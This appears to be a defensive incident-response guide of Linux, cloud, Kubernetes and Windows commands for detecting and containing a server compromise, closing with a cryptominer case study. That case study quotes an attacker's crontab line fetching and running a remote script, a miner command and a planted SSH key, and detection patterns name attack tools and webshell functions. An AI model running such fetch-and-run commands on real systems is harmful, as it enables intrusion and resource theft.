How to Know If a Threat Actor Has Accessed Your Server

# Show all logs from the past 24 hours
journalctl --since "24 hours ago"

# Show SSH service logs within a date range
journalctl -u ssh --since "2024-01-01" --until "2024-01-07"

# Show logs for a specific process ID
journalctl _PID=1234

# Show kernel messages only
journalctl -k

# Follow logs in real time
journalctl -f

# Show logs at warning priority or higher
journalctl -p warning

# Default access log
tail -f /var/log/nginx/access.log

# Look for POST requests to unusual paths (webshell access)
grep "POST" /var/log/nginx/access.log | grep -v "api\|login\|upload"

# Look for scanning patterns (many 404s from one IP)
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# Look for unusual user agents
grep -i "sqlmap\|nikto\|nmap\|masscan\|python-requests\|zgrab" /var/log/nginx/access.log

# Apache access log
tail -f /var/log/apache2/access.log

# HTTP status code distribution — many 200s on unusual paths = webshell hits
cat /var/log/apache2/access.log | awk '{print $9}' | sort | uniq -c | sort -rn

# Find console login events
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
  --start-time 2024-01-01T00:00:00Z --end-time 2024-01-07T00:00:00Z

# Look for root account usage (always suspicious)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=root

# Look for IAM user creation
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser

# Look for security group rule additions (attacker opening ports)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AuthorizeSecurityGroupIngress

# View admin activity logs
gcloud logging read \
  "logName=projects/YOUR_PROJECT/logs/cloudaudit.googleapis.com%2Factivity" \
  --limit 100 --format json

# Filter for IAM policy changes
gcloud logging read 'protoPayload.methodName="SetIamPolicy"' --limit 50

# Query for role assignment changes
az monitor activity-log list \
  --start-time 2024-01-01T00:00:00Z \
  --end-time 2024-01-07T00:00:00Z \
  --query "[?authorization.action=='Microsoft.Authorization/roleAssignments/write']"

# iptables — view current rules with byte counts
iptables -L -n -v

# View recent iptables drops (if DROP logging is enabled)
grep "iptables" /var/log/syslog | tail -50

# UFW logs
grep "UFW" /var/log/ufw.log | grep "BLOCK" | tail -50

# fail2ban — view currently banned IPs
fail2ban-client status sshd

# See all bans across all jails
fail2ban-client status

# Docker — view container logs
docker logs <container_id> --tail 200 --follow

# Inspect a running container's processes
docker top <container_id>

# Check for unexpected or recently created containers
docker ps -a --format "table {{.ID}}\t{{.Image}}\t{{.CreatedAt}}\t{{.Status}}"

# Inspect container for dangerous mounts (host path mounts = escalation risk)
docker inspect <container_id> | jq '.[].HostConfig.Binds'

# ── Kubernetes ──────────────────────────────────────────────────────
# View pod logs (including previous crashed pod)
kubectl logs <pod-name> -n <namespace> --previous

# View recent events across all namespaces
kubectl get events --all-namespaces --sort-by=.metadata.creationTimestamp

# ── RBAC Enumeration — what can each service account do? ──────────
# List all ClusterRoleBindings (look for unexpected admin rights)
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'

# List all service accounts and their bound roles
kubectl get rolebindings,clusterrolebindings --all-namespaces -o wide

# Check for service accounts with wildcard permissions (dangerous)
kubectl auth can-i --list --as=system:serviceaccount:<namespace>:<sa-name>

# ── Service Account Token Exposure ─────────────────────────────────
# Check if pods are auto-mounting service account tokens (they shouldn't unless needed)
kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.automountServiceAccountToken!=false) | 
  {name: .metadata.name, namespace: .metadata.namespace}'

# ── Privileged / Host-Access Pods (container escape risk) ──────────
# Find privileged pods — these can escape to the host kernel
kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.containers[].securityContext.privileged==true) | 
  {name: .metadata.name, namespace: .metadata.namespace}'

# Find pods with hostPID or hostNetwork (another escape vector)
kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.hostPID==true or .spec.hostNetwork==true) |
  {name: .metadata.name, namespace: .metadata.namespace}'

# ── Container Escape Indicators ────────────────────────────────────
# If running inside a container, check if you can reach the Docker socket
# (presence means container escape may already have occurred)
ls -la /var/run/docker.sock 2>/dev/null && echo "WARNING: Docker socket mounted"

# Check if cgroups indicate container escape (unexpected cgroup namespaces)
cat /proc/1/cgroup

# ── Kubernetes Audit Log Analysis ──────────────────────────────────
# If audit logging is enabled on the API server, look for:
# - Anonymous access attempts
# - exec into pods (T1609)
# - port-forward commands (lateral movement)
grep '"verb":"exec"' /var/log/kubernetes/audit.log | jq .
grep '"verb":"port-forward"' /var/log/kubernetes/audit.log | jq .
grep '"username":"system:anonymous"' /var/log/kubernetes/audit.log | jq .

# Splunk — parent-child process anomalies (webshell execution)
index=endpoint | eval parent_child=parent_process+"-"+process_name
| stats count by parent_child | sort -count

# Elastic KQL — new privileged users (Windows Event IDs)
event.code: 4728 OR event.code: 4732

# Elastic KQL — lateral movement via SMB
event.action: "network_connection" AND destination.port: 445

# Install Zeek (Ubuntu)
apt install zeek -y
# Config: /usr/local/zeek/etc/node.cfg — set interface

# Key Zeek log files (default: /var/log/zeek/current/ or /usr/local/zeek/logs/current/)
# conn.log     — all network connections (src/dst IP, port, bytes, duration)
# dns.log      — all DNS queries and responses
# http.log     — HTTP requests (URI, method, user-agent, response codes)
# ssl.log      — TLS/SSL connections (SNI, certificate info)
# notice.log   — Zeek-generated alerts
# weird.log    — protocol anomalies (very useful for C2 detection)

# Find long-duration connections (beacon/C2 behaviour)
cat /var/log/zeek/current/conn.log | \
  zeek-cut id.orig_h id.resp_h id.resp_p duration | \
  sort -k4 -rn | head -20

# Find unusually large outbound data transfers (exfiltration)
cat /var/log/zeek/current/conn.log | \
  zeek-cut id.orig_h id.resp_h resp_bytes | \
  awk '$3 > 10000000' | sort -k3 -rn | head -10

# Find DNS queries to high-entropy domains (DGA / C2 beaconing)
cat /var/log/zeek/current/dns.log | \
  zeek-cut query | sort | uniq -c | sort -rn | head -30

# Find HTTP requests with suspicious user-agents
cat /var/log/zeek/current/http.log | \
  zeek-cut id.orig_h host uri user_agent | \
  grep -i "curl\|wget\|python\|go-http\|libwww" | head -20

# Identify connections to Tor exit nodes
# (requires enriching with Tor exit node list)
comm -12 \
  <(cat /var/log/zeek/current/conn.log | zeek-cut id.resp_h | sort -u) \
  <(curl -s https://check.torproject.org/torbulkexitlist | sort -u)

# Install Suricata (Ubuntu)
apt install suricata -y
suricata-update  # Pull latest Emerging Threats ruleset

# EVE JSON alert log location
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'

# Find all alerts sorted by severity
jq 'select(.event_type=="alert") | {timestamp, src_ip, dest_ip, alert: .alert.signature, severity: .alert.severity}' \
  /var/log/suricata/eve.json | less

# Filter for high-severity alerts only (severity 1)
jq 'select(.event_type=="alert" and .alert.severity==1)' \
  /var/log/suricata/eve.json

# Find C2 beacon alerts
jq 'select(.event_type=="alert") | select(.alert.signature | test("C2|beacon|Cobalt|Meterpreter|reverse"))' \
  /var/log/suricata/eve.json

# Aggregate alerts by signature (find most triggered rules)
jq -r 'select(.event_type=="alert") | .alert.signature' \
  /var/log/suricata/eve.json | sort | uniq -c | sort -rn | head -20

# Find DNS anomalies detected by Suricata
jq 'select(.event_type=="dns" and .dns.type=="answer")' \
  /var/log/suricata/eve.json | head -20

# If using systemd-resolved, query the DNS cache
resolvectl statistics

# View recent DNS queries on the system (requires audit rule on DNS)
# Set up DNS audit rule:
auditctl -w /etc/resolv.conf -p wa -k dns_config_change

# Capture and analyse live DNS queries with tcpdump
tcpdump -i eth0 -n port 53 -w /tmp/dns_capture.pcap
# Then analyse with Wireshark or tshark:
tshark -r /tmp/dns_capture.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -rn

# DNS-over-HTTPS bypass detection: look for DoH endpoints
grep -r "dns.google\|cloudflare-dns.com\|1.1.1.1\|8.8.8.8" \
  /var/log/nginx/access.log /var/log/syslog 2>/dev/null

# Check for DNS tunnelling (unusually long subdomain queries)
cat /var/log/zeek/current/dns.log | zeek-cut query | \
  awk 'length($1) > 50' | head -20

# Look for high-frequency queries to a single domain (C2 polling)
cat /var/log/zeek/current/dns.log | zeek-cut query | \
  sort | uniq -c | sort -rn | head -20

# Enable VPC Flow Logs (if not already enabled)
aws ec2 create-flow-logs \
  --resource-type VPC \
  --resource-ids vpc-YOUR_VPC_ID \
  --traffic-type ALL \
  --log-destination-type cloud-watch-logs \
  --log-group-name /aws/vpc/flowlogs \
  --deliver-logs-permission-arn arn:aws:iam::ACCOUNT:role/FlowLogsRole

# Query flow logs using AWS Athena (after configuring Athena table)
# Find top talkers (potential exfiltration)
SELECT srcaddr, dstaddr, sum(bytes) as total_bytes
FROM vpc_flow_logs
WHERE action = 'ACCEPT'
  AND dstaddr NOT LIKE '10.%'
  AND dstaddr NOT LIKE '172.16.%'
  AND dstaddr NOT LIKE '192.168.%'
GROUP BY srcaddr, dstaddr
ORDER BY total_bytes DESC
LIMIT 20;

# Find connections to suspicious ports commonly used by C2 frameworks
SELECT srcaddr, dstaddr, dstport, protocol, sum(packets) as pkt_count
FROM vpc_flow_logs
WHERE dstport IN (4444, 4445, 8080, 8443, 1337, 31337, 6667, 1080)
  AND action = 'ACCEPT'
GROUP BY srcaddr, dstaddr, dstport, protocol
ORDER BY pkt_count DESC;

# Detect port scanning (many destinations, low packet counts)
SELECT srcaddr, count(distinct dstaddr) as unique_dsts, sum(packets) as total_pkts
FROM vpc_flow_logs
WHERE action = 'REJECT'
GROUP BY srcaddr
HAVING count(distinct dstaddr) > 100
ORDER BY unique_dsts DESC;

# Identify periodic beaconing (C2 polling — regular intervals to same destination)
# Look for consistent, low-byte connections to a single external IP
SELECT srcaddr, dstaddr, dstport,
       date_trunc('minute', from_unixtime(start)) as minute_bucket,
       count(*) as connections
FROM vpc_flow_logs
WHERE action = 'ACCEPT'
  AND dstaddr NOT LIKE '10.%'
GROUP BY srcaddr, dstaddr, dstport, date_trunc('minute', from_unixtime(start))
HAVING count(*) > 1
ORDER BY connections DESC;

┌─────────────────────────────────────────────────────────────────┐
│                  INCIDENT INVESTIGATION FLOW                    │
│                                                                 │
│  1. Confirm Indicators  →  2. Preserve Evidence                 │
│           ↓                        ↓                            │
│  3. Identify Access     →  4. Determine Attacker Actions        │
│     Vector                         ↓                            │
│           ↓                5. Check Persistence                 │
│  6. Scope Affected      ←          ↓                            │
│     Systems             ←  7. Reconstruct Timeline              │
└─────────────────────────────────────────────────────────────────┘

# Create a forensics output directory
mkdir -p /tmp/forensics && cd /tmp/forensics

# Capture running processes snapshot
ps auxf > processes.txt

# Capture active network connections
ss -tulpn > network_connections.txt

# Capture logged-in users
who > who.txt && w >> who.txt && last -n 100 > last_logins.txt

# Dump current iptables rules
iptables-save > iptables_rules.txt

# Capture all crontabs
crontab -l > root_cron.txt 2>/dev/null
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ===" >> all_crontabs.txt
  crontab -u "$user" -l 2>/dev/null >> all_crontabs.txt
done

# Capture loaded kernel modules
lsmod > kernel_modules.txt

# Copy critical log files
cp /var/log/auth.log ./ 2>/dev/null || cp /var/log/secure ./ 2>/dev/null
cp /var/log/syslog ./ 2>/dev/null

# Hash all collected files for chain-of-custody
sha256sum * > evidence_hashes.txt

# ── Install LiME ───────────────────────────────────────────────────
# Prerequisites
apt install linux-headers-$(uname -r) build-essential git -y  # Debian/Ubuntu
# or: yum install kernel-devel gcc git -y                      # RHEL/CentOS

# Clone and build LiME
git clone https://github.com/504ensicsLabs/LiME.git /tmp/LiME
cd /tmp/LiME/src
make

# This produces a .ko kernel module, e.g.: lime-5.15.0-generic.ko

# ── Acquire memory dump ────────────────────────────────────────────
# Option A: Dump to a local file
insmod lime-$(uname -r).ko "path=/tmp/forensics/memory.lime format=lime"

# Option B: Dump directly over the network to your forensics workstation
# On your workstation: nc -l -p 4242 > memory.lime
# On the target server:
insmod lime-$(uname -r).ko "path=tcp:4242 format=lime"

# Unload LiME after acquisition
rmmod lime

# ── Analyse the memory dump ────────────────────────────────────────
# Use Volatility3 on your forensics workstation
pip3 install volatility3

# List processes from memory dump
vol -f memory.lime linux.pslist.PsList

# Find network connections in memory
vol -f memory.lime linux.netstat.Netstat

# Check for hidden processes (rootkit detection)
vol -f memory.lime linux.pstree.PsTree

# Extract bash command history from memory
vol -f memory.lime linux.bash.Bash

# Find injected code / malicious shared libraries
vol -f memory.lime linux.library_list.LibraryList

# Check SSH login history for the first suspicious successful login
grep "Accepted" /var/log/auth.log | grep -v "YOUR_KNOWN_IPS"

# Check for web exploitation via suspicious HTTP payloads
grep -E "(UNION|SELECT|DROP|exec\(|eval\(|base64_decode|cmd=|exec=)" \
  /var/log/nginx/access.log

# Find recently created files — may reveal dropped payloads
find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | \
  grep -v "\.log$" | head -50

# Check bash history for all users
cat /root/.bash_history
for user in $(cut -f1 -d: /etc/passwd); do
  home=$(eval echo "~$user")
  if [ -f "$home/.bash_history" ]; then
    echo "=== History for $user ===" && cat "$home/.bash_history"
  fi
done

# Check if history was cleared (empty history with recent mtime = suspicious)
ls -la /root/.bash_history

# Check recently accessed files
find / -atime -1 -type f -not -path "/proc/*" 2>/dev/null | head -30

# Check audit logs for executed commands (if auditd was running)
ausearch -i -m execve --start recent

# Review outbound connections that occurred
grep "ESTABLISHED\|SYN_SENT" /tmp/forensics/network_connections.txt

# ── SSH Keys ──────────────────────────────────────────────────────
find /home /root /etc -name "authorized_keys" 2>/dev/null -exec echo "=== {} ===" \; \
  -exec cat {} \;

# ── Cron Jobs ─────────────────────────────────────────────────────
ls -la /etc/cron* /var/spool/cron/crontabs/ && cat /etc/cron.d/*

# ── Systemd Services ──────────────────────────────────────────────
systemctl list-units --type=service --state=running
find /etc/systemd/system/ -name "*.service" -newer /etc/passwd

# ── Web Shells ────────────────────────────────────────────────────
find /var/www /srv /opt -name "*.php" \
  -exec grep -l "eval\|system\|exec\|base64_decode\|passthru" {} \;

# ── SUID Binaries ─────────────────────────────────────────────────
find / -perm -4000 -type f -not -path "/proc/*" 2>/dev/null

# ── Startup Scripts ───────────────────────────────────────────────
ls -la /etc/rc.local /etc/rc*.d/ /etc/init.d/

# ── LD_PRELOAD Hijacking ──────────────────────────────────────────
cat /etc/ld.so.preload 2>/dev/null && env | grep LD_PRELOAD

# Check for other hosts this server connects to
cat ~/.ssh/known_hosts && cat /etc/hosts && arp -n

# Look for lateral SSH movement from this server
grep "Accepted\|publickey\|password" /var/log/auth.log | grep "from"

# AWS: Check CloudTrail for API calls made by this instance's IAM role
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=ResourceName,AttributeValue=i-YOUR_INSTANCE_ID

# Combine auth.log, syslog, and web logs sorted by timestamp
cat /var/log/auth.log /var/log/syslog /var/log/nginx/access.log | \
  sort -k1,3 > /tmp/forensics/unified_timeline.txt

# Find file modifications around the suspected breach time
find / -newermt "2024-01-15 02:00" ! -newermt "2024-01-15 06:00" \
  -type f -not -path "/proc/*" 2>/dev/null

# last — login history with source IP
last -n 50 -a   # -a shows hostname/IP in last column

# lastlog — most recent login per account (spot accounts that shouldn't login)
lastlog | grep -v "Never logged in"

# who — currently logged-in users
who -a

# w — logged-in users + what command they are currently running
w

# Full process listing sorted by CPU (find cryptominers)
ps aux --sort=-%cpu | head -20

# Visual process tree — attackers' reverse shells appear as children of web processes
ps auxf
pstree -aup

# lsof — open files and network connections per process
lsof -i           # All network connections
lsof -i :4444     # Who is using port 4444?
lsof -p <PID>     # All files opened by a specific PID
lsof | grep deleted  # Malware deleted from disk but still running in memory

# ss — fast, modern netstat replacement
ss -tulpn          # All listening sockets with process names
ss -tnp            # All established TCP connections with process names

# Find unexpected external connections
ss -tnp | grep -v "127.0.0.1\|::1\|10\.\|172\.16\.\|192\.168\."

# Files modified in the last N days
find / -mtime -1 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

# Files modified within a specific time window
find /var/www -newermt "2024-01-15 00:00" ! -newermt "2024-01-16 00:00" -type f

# World-writable files (common malware drop point)
find / -perm -o+w -type f -not -path "/proc/*" 2>/dev/null

# SUID/SGID binaries
find / -type f \( -perm -4000 -o -perm -2000 \) -not -path "/proc/*" 2>/dev/null

# Hidden files and directories
find / -name ".*" -type f -not -path "/proc/*" -not -path "/home/*/.bash*" 2>/dev/null | head -30

# chkrootkit — scans system binaries and /proc for known rootkit signatures
apt install chkrootkit  # OR yum install chkrootkit
chkrootkit -q           # Only show positive findings

# rkhunter — more comprehensive: checks binaries, backdoors, configs, network ports
apt install rkhunter
rkhunter --update       # Update signatures first
rkhunter --check --rwo  # Only show warnings

# Install and enable
apt install auditd && systemctl enable auditd && systemctl start auditd

# Add critical watch rules
auditctl -w /etc/passwd -p wa -k passwd_change
auditctl -w /etc/sudoers -p wa -k sudoers_change
auditctl -w /tmp -p x -k tmp_exec             # Exec from /tmp (common malware staging)
auditctl -w /bin/bash -p x -k bash_exec

# Search audit log
ausearch -k passwd_change          # Events matching watch key
ausearch -m execve --start today   # All exec calls today
ausearch -x /bin/bash --start yesterday

# Human-readable reports
aureport --summary
aureport --login --failed
aureport --exec

systemctl status fail2ban

# Check active bans
fail2ban-client status
fail2ban-client status sshd

# Manually ban an attacking IP
fail2ban-client set sshd banip 203.0.113.42

# View banned IPs
fail2ban-client banned

# Option A: Block all traffic except your investigation IP (iptables)
iptables -I INPUT -s YOUR_IP/32 -j ACCEPT
iptables -I OUTPUT -d YOUR_IP/32 -j ACCEPT
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# Option B: AWS — remove all inbound rules from the security group
aws ec2 revoke-security-group-ingress \
  --group-id sg-XXXX --protocol all --cidr 0.0.0.0/0

# View active sessions
who && w

# Kill a specific terminal session (use PTS from `who` output)
pkill -kill -t pts/1

# Kill a specific process by PID
kill -9 <PID>

# Kill all processes owned by a suspicious user
pkill -u suspicioususer

# Remove unauthorised SSH keys, then generate new keys for your team
ssh-keygen -t ed25519 -C "new_key_post_incident_$(date +%F)"

# Rotate system user passwords
passwd root && passwd <other_users>

# AWS — rotate IAM access keys
aws iam create-access-key --user-name YOUR_USER
aws iam delete-access-key --user-name YOUR_USER --access-key-id OLD_KEY_ID

# Rotate database passwords (PostgreSQL example)
psql -U postgres -c "ALTER USER appuser WITH PASSWORD 'new_strong_password';"

# Rotate API keys, webhook secrets, JWT secrets, and update secrets manager

# Full system update (Ubuntu/Debian)
apt update && apt upgrade -y

# Full system update (RHEL/CentOS/Amazon Linux)
yum update -y

# Patch a specific component (e.g., OpenSSH)
apt install --only-upgrade openssh-server

# Compare current file hashes against your baseline
md5sum /usr/bin/ls /bin/bash /sbin/sshd > current_hashes.txt
diff baseline_hashes.txt current_hashes.txt

# Restore specific files from backup
rsync -avz backup_server:/backups/latest/etc/ /etc/

GDPR Breach Assessment Checklist:
☐ What categories of personal data were exposed?
  (Names, emails = low risk | Health data, financial = HIGH risk)
☐ How many data subjects are affected?
☐ Can the data be used to cause harm (identity theft, discrimination)?
☐ Was the data encrypted at rest?
☐ Has the attacker been confirmed to have accessed the data,
  or just the server?

When to engage law enforcement:
☐ Nation-state or politically motivated attack (CISA in the US, NCSC in UK)
☐ Ransomware (FBI has a dedicated ransomware task force)
☐ Financial fraud or wire transfers initiated via the compromise
☐ Child exploitation material discovered on the server
☐ Any attack on critical infrastructure

Important: Do NOT pay ransoms without consulting legal counsel.
Some ransomware groups are on OFAC sanctions lists — paying them
may itself be a criminal act under US law.

Post-incident insurance checklist:
☐ Notify your insurer BEFORE rebuilding systems (they may require
  their own forensic investigator)
☐ Document all incident response costs (staff hours, third-party IR,
  legal fees, notification costs)
☐ Do not make public statements about the breach without legal sign-off
☐ Preserve all evidence in its original state until the insurer approves
☐ Check your policy for ransomware payment coverage and sublimits

# Install Google Authenticator PAM for SSH MFA
apt install libpam-google-authenticator
echo "auth required pam_google_authenticator.so" >> /etc/pam.d/sshd

# Enforce in sshd_config
cat >> /etc/ssh/sshd_config << EOF
ChallengeResponseAuthentication yes
AuthenticationMethods publickey,keyboard-interactive
EOF
systemctl restart sshd

# Audit sudo — nobody should have NOPASSWD unless absolutely necessary
grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/

# Lock down SSH
cat >> /etc/ssh/sshd_config << EOF
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AllowUsers deploy ubuntu YOUR_USER
MaxAuthTries 3
LoginGraceTime 30
EOF
systemctl restart sshd

# Enable automatic security-only updates (Ubuntu)
apt install unattended-upgrades
dpkg-reconfigure --priority=low unattended-upgrades

┌──────────────────────────────────────────────────────────────────┐
│                    LOGGING ARCHITECTURE                          │
│                                                                  │
│  Server Logs  ──►  Log Aggregator  ──►  SIEM / Alerting         │
│  (auth.log,        (Fluentd,             (Elastic/Kibana,        │
│   syslog,           Filebeat,             Splunk, Datadog,       │
│   nginx.log,        Logstash)             Wazuh)                 │
│   Zeek,                                        ↓                │
│   Suricata)                            Alert Rules               │
│                                        - Root login              │
│                                        - New user created        │
│                                        - Port scan detected      │
│                                        - Auth failure spike      │
│                                        - C2 beacon detected      │
└──────────────────────────────────────────────────────────────────┘

# Wazuh agent (open-source HIDS/SIEM)
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add -
echo "deb https://packages.wazuh.com/4.x/apt/ stable main" | \
  tee /etc/apt/sources.list.d/wazuh.list
apt update && apt install wazuh-agent
systemctl enable wazuh-agent && systemctl start wazuh-agent

# AIDE — File Integrity Monitoring
apt install aide
aideinit
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
# Automated daily check
echo "0 2 * * * root /usr/bin/aide --check | \
  mail -s 'AIDE Report' security@yourcompany.com" >> /etc/crontab

┌────────────────────────────────────────────────┐
│           THE 3-2-1 BACKUP RULE                │
│                                                │
│  3  copies of your data                        │
│  2  different storage media / services         │
│  1  copy offsite / air-gapped                  │
│                                                │
│  Cloud implementation:                         │
│  - Daily automated EBS/disk snapshots          │
│  - Weekly cross-region backup copy             │
│  - Monthly export to immutable cold storage    │
│  - Quarterly restore test (actually restore!)  │
└────────────────────────────────────────────────┘

# Disable unused services
systemctl disable --now bluetooth avahi-daemon cups

# UFW firewall — default deny
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp && ufw allow 443/tcp && ufw allow 80/tcp
ufw enable

# AWS IMDSv2 only (prevents SSRF attacks from stealing IAM credentials)
aws ec2 modify-instance-metadata-options \
  --instance-id i-YOUR_INSTANCE_ID \
  --http-tokens required \
  --http-endpoint enabled

# ── Active Sessions ───────────────────────────────────────────────
# List all logged-in users
query user /server:localhost
Get-WmiObject Win32_LoggedOnUser | Select-Object Antecedent, Dependent

# ── Process Investigation ─────────────────────────────────────────
# Full process listing with parent PIDs (reveals process tree)
Get-Process | Select-Object Name, Id, CPU, WS, Path |
  Sort-Object CPU -Descending | Format-Table -AutoSize

# Show processes with network connections
Get-NetTCPConnection -State Established |
  Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort,
                OwningProcess, @{n='Process';e={(Get-Process -Id $_.OwningProcess).Name}} |
  Format-Table -AutoSize

# ── Scheduled Tasks (attacker persistence) ────────────────────────
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} |
  Select-Object TaskName, TaskPath, State |
  Format-Table -AutoSize

# Find recently created scheduled tasks (last 7 days)
Get-ScheduledTask | Where-Object {
  $_.Date -gt (Get-Date).AddDays(-7)
} | Select-Object TaskName, Date, TaskPath

# ── Local Users & Groups (backdoor accounts) ─────────────────────
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet
Get-LocalGroupMember -Group "Administrators"

# ── Event Log Forensics ───────────────────────────────────────────
# Failed logins in the last 24 hours
Get-WinEvent -FilterHashtable @{
  LogName='Security'; Id=4625
  StartTime=(Get-Date).AddHours(-24)
} | Select-Object TimeCreated, Message | Format-List

# Successful logins from the last 24 hours
Get-WinEvent -FilterHashtable @{
  LogName='Security'; Id=4624
  StartTime=(Get-Date).AddHours(-24)
} | Select-Object TimeCreated, Message | Format-List

# New user account creations
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4720}

# New scheduled task creations
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698}

# Service installations (malware as a service)
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045}

# Users added to privileged groups
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4728} # Domain group
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732} # Local group

# ── Persistence Locations ─────────────────────────────────────────
# Registry run keys (common autorun persistence)
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"

# Services (attacker-installed services)
Get-Service | Where-Object {$_.StartType -eq "Automatic"} |
  Select-Object Name, DisplayName, Status, StartType

# WMI subscriptions (fileless persistence)
Get-WMIObject -Namespace root/subscription -Class __EventFilter
Get-WMIObject -Namespace root/subscription -Class __EventConsumer

# ── Network Investigation ─────────────────────────────────────────
# All listening ports with process association
netstat -ano | findstr LISTENING

# Map PIDs to process names
Get-NetTCPConnection -State Listen |
  Select-Object LocalPort, OwningProcess,
    @{n='ProcessName';e={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}}

# ── Prefetch and Recent Execution ─────────────────────────────────
# Prefetch files reveal recently executed programs (including malware)
Get-ChildItem C:\Windows\Prefetch | Sort-Object LastWriteTime -Descending | Select-Object -First 20

# Recently modified files in temp and user directories
Get-ChildItem $env:TEMP, $env:TMP, "C:\Users\*\AppData\Local\Temp" -Recurse -ErrorAction SilentlyContinue |
  Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-3)} |
  Select-Object FullName, LastWriteTime | Sort-Object LastWriteTime -Descending

# ── Preserve Evidence ─────────────────────────────────────────────
# Export Security event log for offline analysis
wevtutil epl Security C:\forensics\security.evtx
wevtutil epl System C:\forensics\system.evtx
wevtutil epl Application C:\forensics\application.evtx

# Create a hash of collected evidence
Get-FileHash C:\forensics\* | Export-Csv C:\forensics\evidence_hashes.csv

# Download and install Sysmon
# Download from: https://docs.microsoft.com/sysinternals/downloads/sysmon
.\Sysmon64.exe -accepteula -i sysmonconfig.xml

# Recommended config: SwiftOnSecurity's sysmon-config
# https://github.com/SwiftOnSecurity/sysmon-config
Invoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml \
  -OutFile sysmonconfig.xml
.\Sysmon64.exe -c sysmonconfig.xml  # Apply config

# Key Sysmon Event IDs to monitor:
# Event 1:  Process Creation (captures full command line + parent)
# Event 3:  Network Connection (process-level network visibility)
# Event 7:  Image Loaded (DLL injection detection)
# Event 8:  CreateRemoteThread (process injection)
# Event 10: ProcessAccess (LSASS dumping detection — Event 10 + target=lsass.exe)
# Event 11: FileCreate (malware dropping files)
# Event 13: RegistryValue Set (persistence via registry)
# Event 22: DNS Query (C2 domain tracking)
# Event 25: ProcessTampering (hollowing/herpaderping)

# Query Sysmon logs via PowerShell
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
  Where-Object {$_.Id -eq 1} |  # Process creation
  Select-Object TimeCreated,
    @{n='CommandLine';e={$_.Properties[10].Value}},
    @{n='ParentProcess';e={$_.Properties[20].Value}} |
  Format-List | Select-Object -First 20

# View Windows Defender threat history
Get-MpThreatDetection | Select-Object ThreatName, ActionSuccess, DetectionTime,
  Resources, ProcessName | Format-List

# View all quarantined items
Get-MpThreat | Select-Object ThreatName, SeverityID, IsActive | Format-Table

# Check Defender health (attackers disable it)
Get-MpComputerStatus | Select-Object AMServiceEnabled, AntispywareEnabled,
  AntivirusEnabled, RealTimeProtectionEnabled, OnAccessProtectionEnabled

# Re-enable Defender if disabled by attacker
Set-MpPreference -DisableRealtimeMonitoring $false
Start-Service WinDefend

$ top
# "kworkerds" consuming 92% CPU
# This is NOT a real kernel worker — it is disguised cryptomining malware

$ ps aux | grep kworkerds
nobody  14782  92.1  0.2  /tmp/.cache/kworkerds -o pool.monero.hashvault.pro:443 -u <wallet>
# Running from /tmp, connecting to a Monero mining pool

$ ls -la /tmp/.cache/
-rwxr-xr-x 1 nobody nogroup 2.9M Jan 15 03:11 kworkerds

$ ss -tnp | grep 14782
ESTAB  10.0.1.45:52441  195.201.x.x:443  ("kworkerds",pid=14782)
# Confirmed: outbound connection to a known Monero mining pool

$ grep "Jan 15 03:" /var/log/auth.log | grep "Failed\|Accepted"
# 847 failed password attempts for root from 91.108.x.x
Jan 15 03:11:47 sshd: Accepted password for nobody from 91.108.x.x port 52109

$ crontab -l -u nobody
* * * * * curl -s http://91.108.x.x/update.sh | bash

$ cat /home/nobody/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1... attacker@kali  # Planted for persistent re-entry

┌────────────────────────────────────────────────────────────────────────────┐
│                          THE DICRP FRAMEWORK                               │
│                                                                            │
│  ┌─────────┐  ┌───────────┐  ┌─────────┐  ┌─────────┐  ┌──────────┐      │
│  │ DETECT  │─►│INVESTIGATE│─►│ CONTAIN │─►│ RECOVER │─►│ PREVENT  │      │
│  └─────────┘  └───────────┘  └─────────┘  └─────────┘  └──────────┘      │
│                                                                            │
│  Detect         Investigate    Contain        Recover       Prevent        │
│  ──────         ───────────    ───────        ───────       ───────        │
│  Monitoring     Preserve       Isolate        Restore       MFA            │
│  SIEM alerts    evidence       server         from backup   Least priv     │
│  Log review     ID access      Kill sessions  Patch vuln    FIM            │
│  Zeek/Suricata  vector         Rotate creds   Verify        IDS/SIEM       │
